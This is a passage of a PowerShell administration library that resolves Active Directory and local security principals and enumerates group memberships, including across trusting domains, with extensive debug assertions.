          DBGIF $MyInvocation.MyCommand.Name { (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Temp') -or (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Mns') }
          $mbrSAM = GDES $oneMember sAMAccountName
          $mbrUPN = GDES $oneMember userPrincipalName
          $mbrSID = GDESID $oneMember objectSID
          $mbrSIDhistory = [int] $oneMember.sIDHistory.Count
          $mbrDisabled = (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Disabled')
          $mbrStatus = $true
          $mbrScope = 'global'
          $mbrExpiration = GDEI $oneMember accountExpires -ignoreNonExisting $true

      } elseif (Contains-Safe $memberClass 'computer') { 
            
          DBG ('Is computer')
          $mbrType = 'computer'
          $mbrDNtarget = $mbrDN
          DBGIF $MyInvocation.MyCommand.Name { (GDES $oneMember objectCategory) -notlike 'CN=Computer,CN=Schema,CN=Configuration,DC=*' }
          DBGIF $MyInvocation.MyCommand.Name { -not ((GDEE $oneMember $accountType sAMAccountType) -eq 'Computer') }
          DBGIF $MyInvocation.MyCommand.Name { -not ((Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Member') -or (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'DC')) }
          DBGIF $MyInvocation.MyCommand.Name { (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Temp') -or (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Mns') }
          $mbrSAM = GDES $oneMember sAMAccountName
          $mbrUPN = GDES $oneMember userPrincipalName
          DBGIF $MyInvocation.MyCommand.Name { Is-ValidString $mbrUPN }
          $mbrSID = GDESID $oneMember objectSID
          $mbrSIDhistory = [int] $oneMember.sIDHistory.Count
          $mbrDisabled = (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Disabled')
          $mbrStatus = $true
          $mbrScope = 'global'
          $mbrExpiration = GDEI $oneMember accountExpires -ignoreNonExisting $true
          # Note: weirdly enough, but accountExpires can be set to 0 (none) or the maximum value in order to disable the expiration
          DBGIF 'Account expiration on computer account' { (Is-ValidString $mbrExpiration) -and ($mbrExpiration -ne $global:noneTimeStr) -and ($mbrExpiration -ne $global:neverTimeStr) }

      } elseif (Contains-Safe $memberClass 'inetOrgPerson') { 
            
          DBG ('Is inetOrgPerson')
          $mbrType = 'inetOrgPerson'
          $mbrDNtarget = $mbrDN
          DBGIF $MyInvocation.MyCommand.Name { (GDES $oneMember objectCategory) -notlike 'CN=Person,CN=Schema,CN=Configuration,DC=*' }
          DBGIF $MyInvocation.MyCommand.Name { -not ((GDEE $oneMember $accountType sAMAccountType) -eq 'User') }
          DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString (GDEF $oneMember $uacFlags userAccountControl)) -and (-not (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Normal')) }
          DBGIF $MyInvocation.MyCommand.Name { (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Temp') -or (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Mns') }
          $mbrSAM = GDES $oneMember sAMAccountName
          $mbrUPN = GDES $oneMember userPrincipalName
          $mbrSID = GDESID $oneMember objectSID
          $mbrSIDhistory = [int] $oneMember.sIDHistory.Count
          $mbrDisabled = (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Disabled')
          $mbrStatus = $true
          $mbrScope = 'global'
          $mbrExpiration = GDEI $oneMember accountExpires -ignoreNonExisting $true

      } elseif (Contains-Safe $memberClass 'user') { 
            
          DBG ('Is user')
          $mbrDNtarget = $mbrDN
          DBGIF $MyInvocation.MyCommand.Name { (GDES $oneMember objectCategory) -notlike 'CN=Person,CN=Schema,CN=Configuration,DC=*' }
          DBGIF $MyInvocation.MyCommand.Name { Contains-Safe $memberClass 'msPKI-Key-Recovery-Agent' }
          $mbrSAM = GDES $oneMember sAMAccountName
          $mbrUPN = GDES $oneMember userPrincipalName
          $mbrSID = GDESID $oneMember objectSID
          $mbrSIDhistory = [int] $oneMember.sIDHistory.Count

          if ((GDEE $oneMember $accountType sAMAccountType) -eq 'User') {

            $mbrType = 'user'
            DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString (GDEF $oneMember $uacFlags userAccountControl)) -and (-not (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Normal')) }
            DBGIF $MyInvocation.MyCommand.Name { (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Temp') -or (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Mns') }

          } else {

            $mbrType = 'trust'
            DBGIF $MyInvocation.MyCommand.Name { -not ((GDEE $oneMember $accountType sAMAccountType) -eq 'Trust') }
            DBGIF $MyInvocation.MyCommand.Name { -not (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Trust') }
            DBGIF $MyInvocation.MyCommand.Name { (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Temp') -or (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Mns') }
          }

          $mbrDisabled = (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Disabled')
          $mbrStatus = $true
          $mbrScope = 'global'
          $mbrExpiration = GDEI $oneMember accountExpires -ignoreNonExisting $true

      } else {

          DBG ('Unknown object type: {0}' -f (Format-MultiValue $oneMember.Properties['objectClass'].Value))
          $mbrType = 'unknown'
          $mbrDNtarget = $mbrDN
          $mbrSAM = GDES $oneMember sAMAccountName
          $mbrUPN = GDES $oneMember userPrincipalName
          $mbrSID = GDESID $oneMember objectSID
          $mbrSIDhistory = [int] $oneMember.sIDHistory.Count
          $mbrDisabled = (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Disabled')
          $mbrStatus = $false
          $mbrScope = 'unknown'
          $mbrExpiration = GDEI $oneMember accountExpires -ignoreNonExisting $true

          break
      }
    }
  }

  # Determine domain and forest

  if (Is-ValidString $mbrDNtarget) {

     DBG ('Determine domain and forest: {0}' -f $mbrDNtarget)
     $targetDE = Get-DE $mbrDNtarget ([ref] $deList)

     if (Is-NonNull $targetDE) {

       $parentDE = Get-NCForObject $targetDE ([ref] $deList)
       
       if (Is-NonNull $parentDE) {

         $mbrDomainDN = GDES $parentDE distinguishedName

         $mbrDomainDNS = Get-NCName $mbrDomainDN dnsRoot nCName
         $mbrDomainNetBIOS = Get-NCName $mbrDomainDN nETBIOSName nCName # does not work on 2003 and older: (GDES $parentDE msDS-PrincipalName).TrimEnd('\')
         $mbrDomainSID = GDESID $parentDE objectSID

         $rootDSE = $null
         Get-BasicDEs $parentDE ([ref] $rootDSE) $null $null $null ([ref] $deList)

         $mbrForest = GDES $rootDSE rootDomainNamingContext

         DBGIF $MyInvocation.MyCommand.Name { (GDES $parentDE canonicalName) -notlike ('{0}/' -f $mbrDomainDNS) }
         # irelevant on 2003 and older: DBGIF $MyInvocation.MyCommand.Name { $mbrDomainNetBIOS -ne (Get-NCName $mbrDomainDN nETBIOSName nCName) }

         # Note: on Windows XP, there is a weird issue with the following assert code
         #       if I put the GDES directly into brackets of the assert such as: { (GDES ...
         #       then it displays an error of "not implemented"
         $configNCtoAssert = GDES $rootDSE configurationNamingContext
         DBGIF $MyInvocation.MyCommand.Name { $configNCtoAssert -notlike ('CN=Configuration,{0}' -f $mbrForest) }
       }
     }
  }

  # Build the result
  
  if ((-not $mbrNonDomain) -and
     ( 
      ($mbrType -eq 'unknown') -or
      (Is-EmptyString $mbrDN) -or 
      (Is-EmptyString $mbrDNtarget) -or 
      (Is-EmptyString $mbrSID) -or 
      (Is-EmptyString $mbrSAM) -or 
      (Is-EmptyString $mbrDomainDN) -or 
      (Is-EmptyString $mbrDomainDNS) -or 
      (Is-EmptyString $mbrDomainNetBIOS) -or 
      (Is-EmptyString $mbrDomainSID) -or
      (Is-EmptyString $mbrForest)
     ))
  {
    $mbrStatus = $false
  }

  DBG ('Get the real account name of the object from its SID: {0}' -f $mbrSID)
  DBGSTART
  $realAccountName = (New-Object System.Security.Principal.SecurityIdentifier $mbrSID).Translate([System.Type]::GetType('System.Security.Principal.NTAccount')).Value
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('The real account name determined: {0} | {1}' -f $mbrSID, $realAccountName)
  DBGIF ('Weird SAM: sam = {0} | account name = {1}' -f $mbrSAM, $realAccountName) { $realAccountName -notlike "*\$mbrSAM" }

  # Note: comments go below in the original code
  $principal = Define-SecurityPrincipal `
      -principalType $mbrType `
      -foreign $mbrForeign `
      -nonDomain $mbrNonDomain `
      -nonSecurity $mbrNonSecurity `
      -valid $mbrStatus `
      -dn $mbrDN `
      -realDN $mbrDNtarget `
      -sam $realAccountName `
      -upn $mbrUPN `
      -sid $mbrSID `
      -sidHistory $mbrSidHistory `
      -disabled $mbrDisabled `
      -domainDN $mbrDomainDN `
      -domainDNS $mbrDomainDNS `
      -domainNetBIOS $mbrDomainNetBIOS `
      -domainSID $mbrDomainSID `
      -forest $mbrForest `
      -scope $mbrScope `
      -expiration $mbrExpiration

<#
  Note: do not delete this block, there are some usefull comments

  Add-Member -InputObject $principal -MemberType NoteProperty -Name principalType -Value $mbrType
  Add-Member -InputObject $principal -MemberType NoteProperty -Name foreign -Value $mbrForeign
  Add-Member -InputObject $principal -MemberType NoteProperty -Name nonDomain -Value $mbrNonDomain
  Add-Member -InputObject $principal -MemberType NoteProperty -Name nonSecurity -Value $mbrNonSecurity
  Add-Member -InputObject $principal -MemberType NoteProperty -Name valid -Value $mbrStatus # some information has not been correctly obtained
  Add-Member -InputObject $principal -MemberType NoteProperty -Name dn -Value $mbrDN # in case of foreignSecurityPrincipal this is the objects source DN
  Add-Member -InputObject $principal -MemberType NoteProperty -Name realDN -Value $mbrDNtarget # in case it is foreignSecurityPrincipal this is his real DN
  Add-Member -InputObject $principal -MemberType NoteProperty -Name sam -Value $mbrSAM
  Add-Member -InputObject $principal -MemberType NoteProperty -Name upn -Value $mbrUPN
  Add-Member -InputObject $principal -MemberType NoteProperty -Name sid -Value $mbrSID
  Add-Member -InputObject $principal -MemberType NoteProperty -Name sidHistory -Value $mbrSidHistory
  Add-Member -InputObject $principal -MemberType NoteProperty -Name disabled -Value $mbrDisabled
  Add-Member -InputObject $principal -MemberType NoteProperty -Name domainDN -Value $mbrDomainDN
  Add-Member -InputObject $principal -MemberType NoteProperty -Name domainDNS -Value $mbrDomainDNS
  Add-Member -InputObject $principal -MemberType NoteProperty -Name domainNetBIOS -Value $mbrDomainNetBIOS
  Add-Member -InputObject $principal -MemberType NoteProperty -Name domainSID -Value $mbrDomainSID
  Add-Member -InputObject $principal -MemberType NoteProperty -Name forest -Value $mbrForest
  Add-Member -InputObject $principal -MemberType NoteProperty -Name scope -Value $mbrScope
#>

  Dispose-List ([ref] $deList)

  DBG ('Security principal found: {0} | {1} | {2} | {3}' -f $principal.domainNetBIOS, $principal.sam, $principal.realDN, $principal.sid)
  return $principal
}


function global:Add-SecurityPrincipal ([System.Collections.ArrayList] $principalList, [object] $newPrincipal)
{
  [bool] $added = $false

  if (($newPrincipal.valid) -or ($newPrincipal.principalType -eq 'maximumReached')) {

    $notFoundYet = $true
    foreach ($oneExisting in $principalList) { 
        
      if (
          (($newPrincipal.principalType -eq 'maximumReached') -and ($oneExisting.principalType -eq 'maximumReached')) -or
          ((Is-ValidString $oneExisting.sid) -and ($oneExisting.sid -eq $newPrincipal.sid)) -or
          ((Is-ValidString $newPrincipal.realDN) -and ($oneExisting.realDN -eq $newPrincipal.realDN)) -or
          ((Is-ValidString $newPrincipal.dn) -and ($oneExisting.dN -eq $newPrincipal.dN))
          ) {

        $notFoundYet = $false            
        DBG ('Skipping already present security principal: {0} | {1} | {2}' -f $newPrincipal.principalType, $newPrincipal.domainNetBIOS, $newPrincipal.sam)

        break
      }
    }

    if ($notFoundYet) {

      DBG ('Adding new security principal into the list: {0} | {1} | {2}' -f $newPrincipal.principalType, $newPrincipal.domainNetBIOS, $newPrincipal.sam)
      [void] $principalList.Add($newPrincipal)

      $added = $true
    }
  }

  return $added
}


function global:Get-LocalGroupDirectMembers ([string] $group)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  # Note: there was a problem found on 2k8r2 where a domain user added to a local group
  #       didn't show in the list of WMI related Win32_UserAccounts
  #       Another reason to employ the ADSI instead of WMI is to obtain the NT SERVICE and IIS APPPOOL or VIRTUAL MACHINE
  #       special/virtual user/service accounts

  [string[]] $localMembers = @()
  [Collections.ArrayList] $deList = @()

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $group }

  if (Is-ValidString $group) {

    DBG ('Open the local group with WinNT ADSI: {0}' -f $group)
    DBGSTART
    [ADSI] $localGroupDE = $null
    $localGroupDE = [ADSI] "WinNT://./$group,group"
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $localGroupDE }

    if (Is-NonNull $localGroupDE) {

      [void] $deList.Add($localGroupDE)

      DBG ('Get the group members')
      DBGSTART
      $groupDEMembers = $localGroupDE.Members()
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBG ('Group contains members: {0}' -f (Get-CountSafe $groupDEMembers))

      if ((Get-CountSafe $groupDEMembers) -gt 0) {

        foreach ($oneGroupDEMember in $groupDEMembers) {

<#
          # Note: bug on Windows 10 (build 10586 still not corrected) when calling GetType() on the local builtin-admin account returns "Could not find member".

          DBGSTART
          $oneMemberName = $oneGroupDEMember.GetType().InvokeMember('Name', 'GetProperty', $null, $oneGroupDEMember, $null)
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND

          DBGSTART
          $oneMemberDomainPrefix = $oneGroupDEMember.GetType().InvokeMember('Parent', 'GetProperty', $null, $oneGroupDEMember, $null)
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
#>

          # Note: replacement method of the GetType() problem on Windows 10
          #       it seems the engine is not able to correctly adapt the local user account
          #       while it adapts the groups well so we must use the psbase explicitly
          $oneGroupADSIMember = [ADSI] $oneGroupDEMember

          [string] $oneMemberName = $oneGroupADSIMember.psbase.Name
          [string] $oneMemberPath = $oneGroupADSIMember.psbase.Name
          [string] $oneMemberDomainPrefix = $oneGroupADSIMember.psbase.Parent.psbase.Path

          DBG ('One group member: {0} | {1} | {2}' -f $oneMemberName, $oneMemberPath, $oneMemberDomainPrefix)
          DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $oneMemberName }

          if (Is-ValidString $oneMemberName) {

            if ($oneMemberDomainPrefix -eq 'WinNT:') {

              DBG ('User name cannot be resolved')
              DBGIF $MyInvocation.MyCommand.Name { $oneMemberName -notlike 'S-1-5-?*' }
              DBG ('Group member SID: {0}' -f $oneMemberName)
              $localMembers += $oneMemberName

            } else {

              DBGIF $MyInvocation.MyCommand.Name { $oneMemberDomainPrefix -notlike 'WinNT://?*' }
              $oneMemberDomain = $oneMemberDomainPrefix.SubString(($oneMemberDomainPrefix.IndexOf('//') + 2))
              DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $oneMemberDomain }

              DBG ('Group member: {0} | {1} | {2}' -f $oneMemberName, $oneMemberDomainPrefix, $oneMemberDomain)

              $samLogin = '{0}\{1}' -f $oneMemberDomain, $oneMemberName
              DBGIF $MyInvocation.MyCommand.Name { $samLogin -notmatch (RxFullStr $global:rxSamLogin) }
              $localMembers += $samLogin
            }
          }
        }
      }
    }
  }

  Dispose-List ([ref] $deList)

  DBG ('Returning local direct members: {0} | {1}' -f $localMembers.Count, ($localMembers -join ', '))
  return ,$localMembers
}


function global:Get-LocalGroupMembership ([string] $sid, [string] $defaultName, [int] $maximum = [int]::MaxValue, [bool] $doNotTraversDefaults)
{
<#

Note: we want to start with SIDs, because the common case would be to
      determine membership of some well-known group rather than any 
      manually created one. The problem might be that the builtin groups
      can be renamed and do not have always and everywhere the same
      default names anyway

$SIDstoProcess = @{
  'BUILTIN\Administrators' = 'S-1-5-32-544'
  'BUILTIN\Backup Operators' = 'S-1-5-32-551'
  }

#>
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [Collections.ArrayList] $memberList = @()
    

  DBG ('First ensure we have the local groups SID ready')

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $defaultName }
  if (Is-ValidString $sid) { 

    $oneSIDtoProcess = $sid
  
  } else {

    $oneSIDtoProcess = Assert-AccountExists -account $defaultName -message 'Check if the default name of group exists' -returnSID $true
  }

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $oneSIDtoProcess }


  if (Is-ValidString $oneSIDtoProcess) {

    DBG ('Going to process the local SID: {0} | {1}' -f $defaultName, $oneSIDtoProcess)
    DBGSTART
    $oneAccountName = (New-Object System.Security.Principal.SecurityIdentifier $oneSIDtoProcess).Translate([System.Type]::GetType('System.Security.Principal.NTAccount')).Value
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    $oneAccountDomain = $oneAccountName.SubString(0, $oneAccountName.IndexOf('\'))
    $oneAccountLogin = $oneAccountName.SubString(($oneAccountName.IndexOf('\') + 1))
    # Note: although the translated account name might be BUILTIN\ or NT AUTHORITY\, the WMI names all the groups with COMPUTERNAME\ domain
    DBG ('The SID resolved to: sam = {0} | domain = {1} | login = {2}' -f $oneAccountName, $oneAccountDomain, $oneAccountLogin)
    DBGIF $MyInvocation.MyCommand.Name { $oneAccountName -ne $defaultName }

    <#
    DBG ('Open the group with WMI')
    # Note: although we could resolve even other SIDs with the previous .Translate() method, the WMI table does not contain anything else
    #       than BUILTIN groups of S-1-5-32 and/or manually created groups with S-1-5-21
    DBGIF $MyInvocation.MyCommand.Name { ($oneSIDtoProcess -notlike 'S-1-5-32-*') -and ($oneSIDtoProcess -notlike 'S-1-5-21-*') }
    
    # Note: we cannot use WMI due to problems mentioned above
    $group = Get-WmiQuerySingleObject '.' ('SELECT * FROM Win32_Group WHERE SID = "{0}" AND LocalAccount=true' -f $oneSIDtoProcess)
    #DBG ('The WMI group found: {0} | {1} | {2} | {3}' -f $group.Name, $group.Domain, $group.Caption, $group.Description)
    #DBGIF $MyInvocation.MyCommand.Name { Is-Null $group }
    #DBGIF $MyInvocation.MyCommand.Name { $group.Name -ne $oneAccountLogin }
    #DBGIF $MyInvocation.MyCommand.Name { $group.Domain -ne $global:thisComputerNetBIOS }
    
    if (Is-NonNull $group) {

      DBG ('Get the group direct member accounts')
      $memberAccounts = Get-WmiRelated $group 'Win32_UserAccount'

      if ((Get-CountSafe $memberAccounts) -gt 0) {

        foreach ($oneMemberAccount in $memberAccounts) {

          DBG ('One direct member account found: {0} | {1} | {2} | {3}' -f $oneMemberAccount.Name, $oneMemberAccount.Domain, $oneMemberAccount.Caption, $oneMemberAccount.SID)
          DBGIF $MyInvocation.MyCommand.Name { $oneMemberAccount.SID -notlike 'S-1-5-21-*' }

          if (Is-LocalDomain $oneMemberAccount.Domain $true) {

            $principal = Define-LocalSecurityPrincipal -principalType 'user' -sid $oneMemberAccount.SID -disabled $oneMemberAccount.Disabled

          } else {

            [Collections.ArrayList] $deList = @()
            $principalDE = Get-DEbyDNorSAMorUPN ('{0}\{1}' -f $oneMemberAccount.Domain, $oneMemberAccount.Name) $null $null ([ref] $deList)
            $principal = Get-SecurityPrincipal (GDES $principalDE distinguishedName)
            Dispose-List ([ref] $deList)
          }

          [void] (Add-SecurityPrincipal $memberList $principal)
        }
      }

      DBG ('Get the group direct member system accounts such as Authenticated Users')
      $memberSystemAccounts = Get-WmiRelated $group 'Win32_SystemAccount'

      if ((Get-CountSafe $memberSystemAccounts) -gt 0) {

        foreach ($oneMemberSystemAccount in $memberSystemAccounts) {

          DBG ('One direct member system account found: {0} | {1} | {2} | {3}' -f $oneMemberSystemAccount.Name, $oneMemberSystemAccount.Domain, $oneMemberSystemAccount.Caption, $oneMemberSystemAccount.SID)
          DBGIF $MyInvocation.MyCommand.Name { $oneMemberSystemAccount.Domain -ne $global:thisComputerNetBIOS }
          DBGIF $MyInvocation.MyCommand.Name { $oneMemberSystemAccount.SID -like 'S-1-5-21-*' }
          DBGIF $MyInvocation.MyCommand.Name { -not (Is-LocalDomain $oneMemberSystemAccount.Domain $true) }

          $principal = Define-LocalSecurityPrincipal -principalType 'system' -sid $oneMemberSystemAccount.SID
          [void] (Add-SecurityPrincipal $memberList $principal)
        }
      }

      DBG ('Get the group direct member accounts')
      $memberGroups = Get-WmiRelated $group 'Win32_Group'

      if ((Get-CountSafe $memberGroups) -gt 0) {

        foreach ($oneMemberGroup in $memberGroups) {

          DBG ('One member group found: {0} | {1} | {2} | {3}' -f $oneMemberGroup.Name, $oneMemberGroup.Domain, $oneMemberGroup.Caption, $oneMemberGroup.SID)
          DBGIF $MyInvocation.MyCommand.Name { $oneMemberGroup.Domain -eq $global:thisComputerNetBIOS }
          # Note: local groups cannot be nested (at least presumably)
          DBGIF $MyInvocation.MyCommand.Name { $oneMemberGroup.SID -notlike 'S-1-5-21-*' }
          DBGIF $MyInvocation.MyCommand.Name { Is-LocalDomain $oneMemberGroup.Domain $true }

          if (Is-LocalDomain $oneMemberGroup.Domain $true) {

            $principal = Define-LocalSecurityPrincipal -principalType 'group' -sid $oneMemberGroup.SID
            [void] (Add-SecurityPrincipal $memberList $principal)

          } else {

            DBG ('Skipping travers through default group membership to limit the number of results')
            [Collections.ArrayList] $deList = @()
            $principalDE = Get-DEbyDNorSAMorUPN ('{0}\{1}' -f $oneMemberGroup.Domain, $oneMemberGroup.Name) $null $null ([ref] $deList)
            $principal = Get-SecurityPrincipal (GDES $principalDE distinguishedName)
            Dispose-List ([ref] $deList)
 
            [void] (Add-SecurityPrincipal $memberList $principal)


            $isDefaultGroupMembership = 
                (($oneSIDtoProcess -eq 'S-1-5-32-544') -and ($oneMemberGroup.SID -like 'S-1-5-21-*-512')) -or # Administrators vs. Domain Admins
                (($oneSIDtoProcess -eq 'S-1-5-32-545') -and ($oneMemberGroup.SID -like 'S-1-5-21-*-513'))     # Users vs. Domain Users

            DBG ('Is this membership the default for domain members: {0}' -f $isDefaultGroupMembership)

            if (-not ($doNotTraversDefaults -and $isDefaultGroupMembership)) {

              [Collections.ArrayList] $deList = @()
              $principalDE = Get-DEbyDNorSAMorUPN ('{0}\{1}' -f $oneMemberGroup.Domain, $oneMemberGroup.Name) $null $null ([ref] $deList)
              [void] (Get-GroupMembership (GDES $principalDE distinguishedName) $memberList -maximum $maximum)
              Dispose-List ([ref] $deList)
            }
          }
        }
      }
    }
    #>

    # Note: instead of WMI we go with the WinNT ADSI method
    $groupMembers = Get-LocalGroupDirectMembers $oneAccountLogin
  
    foreach ($oneGroupMember in $groupMembers) {

      DBG ('Going to process one member: {0}' -f $oneGroupMember)

      # Note: the SID would only be of this prefix, because only users/groups or virtual service/apppool accounts can
      #       be unresolvable due to their disappearance or because their domain is not available
      if ($oneGroupMember -like 'S-1-5-*') {

        DBG ('The account SID was not resolved, add the principal as invalid')

        # Note: it would be weird if a local group would contain a local, unresolvable SID
        DBGIF $MyInvocation.MyCommand.Name { $oneGroupMember -like "$global:thisComputerSID-?*" }

        $principal = Define-LocalSecurityPrincipal -principalType 'user' -sid $oneGroupMember -valid $false
        [void] (Add-SecurityPrincipal $memberList $principal)

      } else {

        $oneDomain = $oneGroupMember.SubString(0, $oneGroupMember.IndexOf('\'))
        DBG ('Translate the member SID')
        DBGSTART
        $oneSID = (New-Object Security.Principal.NTAccount $oneGroupMember).Translate([Security.Principal.SecurityIdentifier]).Value
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
        DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $oneDomain }
        DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $oneSID }

        DBG ('One member resolved to: sam = {0} | domain = {1} | sid = {2}' -f $oneGroupMember, $oneDomain, $oneSID)

        if ((Is-LocalDomain $oneDomain $true) -or (Is-BuiltinDomain $oneDomain)) {

          DBG ('The principal is from a local or a builtin domain')
          DBGIF $MyInvocation.MyCommand.Name { ($oneSID -like 'S-1-5-21-*') -and ($oneSID -notlike "$global:thisComputerSID-?*") }
          # Note: local groups cannot be nested, thus we go with 'user' type by default
          $principal = Define-LocalSecurityPrincipal -principalType 'user' -sid $oneSID
          [void] (Add-SecurityPrincipal $memberList $principal)

        } else {

          DBG ('First check if we are able to parse domain groups at all')

          if (-not (Is-CurrentUser -domainAccess $true)) {

            DBGIF ('You cannot evaluate DOMAIN principal when running under a LOCAL user account: {0}' -f [Security.Principal.WindowsIdentity]::GetCurrent($false).Name) { $true }
            $principal = Define-SecurityPrincipal `
                            -principalType 'unknown' `
                            -nonDomain $false `
                            -valid $false `
                            -sam $oneGroupMember `
                            -sid $oneSID `
                            -domainNetBIOS $oneDomain `
            
            [void] (Add-SecurityPrincipal $memberList $principal)

          } else {

            [Collections.ArrayList] $deList = @()
            $principalDE = Get-DEbyDNorSAMorUPN $oneGroupMember $null $null ([ref] $deList)
            $principalDN = GDES $principalDE distinguishedName
            $principal = Get-SecurityPrincipal $principalDN
            Dispose-List ([ref] $deList)

            DBGIF $MyInvocation.MyCommand.Name { $principal.sid -ne $oneSID }
            [void] (Add-SecurityPrincipal $memberList $principal)


            if (($principal.valid) -and ($principal.principalType -eq 'group')) {

              $isDefaultGroupMembership = 
                ($principal.domainDNS -eq $global:thisComputerDomain) -and (
                  (($oneSIDtoProcess -eq 'S-1-5-32-544') -and ($principal.sid -like 'S-1-5-21-*-512')) -or # Administrators vs. Domain Admins
                  (($oneSIDtoProcess -eq 'S-1-5-32-545') -and ($principal.sid -like 'S-1-5-21-*-513'))     # Users vs. Domain Users
                )

              DBG ('Is this membership the default for domain members: {0}' -f $isDefaultGroupMembership)
              
              if (-not ($doNotTraversDefaults -and $isDefaultGroupMembership)) {

                [void] (Get-GroupMembership $principalDN $memberList -maximum $maximum)

              } else {

                DBG ('Skipping travers through default group membership to limit the number of results')
              }
            }
          }
        }
      }
    }
  }

  return (, $memberList)
}


function global:Get-UserMembership ([string] $userDN, [System.Collections.ArrayList] $memberList, [int] $maximum = [int]::MaxValue)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [System.Collections.ArrayList] $deList = @()
  if (Is-Null $memberList) { $memberList = @() }

  $userDE = Get-DE $userDN ([ref] $deList)

  DBGIF $MyInvocation.MyCommand.Name { -not (Contains-Safe $userDE.Properties['objectClass'].Value 'user') }

  if (Is-NonNull $userDE) {

    $userDomainDN = GDES (Get-NCForObject $userDE ([ref] $deList)) distinguishedName
    $userDomainFQDN = Get-NCName $userDomainDN dnsRoot nCName

    DBG ('User''s domain names determined: {0} | {1}' -f $userDomainDN, $userDomainFQDN)


    $tokenGroups = Split-MultiValue (GDESID $userDE tokenGroups)
    DBG ('User member of groups: {0}' -f (Get-CountSafe $tokenGroups))

    if ((Get-CountSafe $tokenGroups) -gt 0) {

      foreach ($oneGroup in $tokenGroups) {
        
        if ($oneGroup -match '[Ss]-1-5-32(?:-\d+){1}') {

          $groupDE = Get-DE ('LDAP://{0}/' -f $userDomainFQDN, $oneGroup) ([ref] $deList)

        } else {

          DBGIF $MyInvocation.MyCommand.Name { -not ($oneGroup -match '[Ss]-1-5-21(?:(?:-\d+){4})') }
          $groupDE = Get-DE ('LDAP://' -f $oneGroup) ([ref] $deList)
        }

        $principal = Get-SecurityPrincipal (GDES $groupDE distinguishedName)
        DBGIF $MyInvocation.MyCommand.Name { $principal.principalType -ne 'group' }

        [void] (Add-SecurityPrincipal $memberList $principal)
      }

      $ncNames = Get-NCNames

      foreach ($oneNC in $ncNames) {

        $trustingDomainDN = $oneNC.realNCName
        if (($oneNC.ncType -eq 'domain') -and (Is-ValidString $trustingDomainDN) -and ($trustingDomainDN -ne $userDomainDN)) {

          DBG ('Going to process domain local groups in a trusting domain: {0} | {1}' -f $oneNC.ncType, $trustingDomainDN)
          $trustingDomainDE = Get-DE $trustingDomainDN ([ref] $deList)

          if (Is-NonNull $trustingDomainDE) {

            if ($oneNC.foreignForest -eq $true) {


              DBG ('Find foreign security principals for me and my groups in the trusting domain first')
              DBG ('Get my and my public group SIDs')

              [System.Collections.ArrayList] $myAndPublicGroupSourceSIDs = @(GDESID $userDE objectSID)
              foreach ($oneGroup in (Obtain-ListMembers $memberList @{ 'valid' = $true; 'principalType' = 'group'; 'scope' = { ($__ -eq 'global') -or ($__ -eq 'universal') } })) { 
              
                DBGIF $MyInvocation.MyCommand.Name { $oneGroup.foreign } # impossible to be member of a foreign security principal
                DBGIF $MyInvocation.MyCommand.Name { $oneGroup.sidHistory -ne 0 } # we do not cope with sidHistory yet
                
                [void] $myAndPublicGroupSourceSIDs.Add($oneGroup.sid)
              }

              $myAndPublicGroupSIDfilter = ''
              foreach ($oneSourceSID in $myAndPublicGroupSourceSIDs) { $myAndPublicGroupSIDfilter += '(objectSID={0})' -f $oneSourceSID }
             


              $fspFound = Get-ADSearch $trustingDomainDE subTree ('(&(objectCategory=foreignSecurityPrincipal)(objectClass=foreignSecurityPrincipal)(|{0}))' -f $myAndPublicGroupSIDfilter) @('distinguishedName')

              $myAndGroupsFilter = ''
              if ($fspFound.found) {
    
                foreach ($oneFSP in $fspFound.result) { 
                
                  $oneFSPDN = GSRS $oneFSP distinguishedName
                  DBG ('Found one foreignSecurityPrincipal for out public SID: {0}' -f $oneFSPDN)
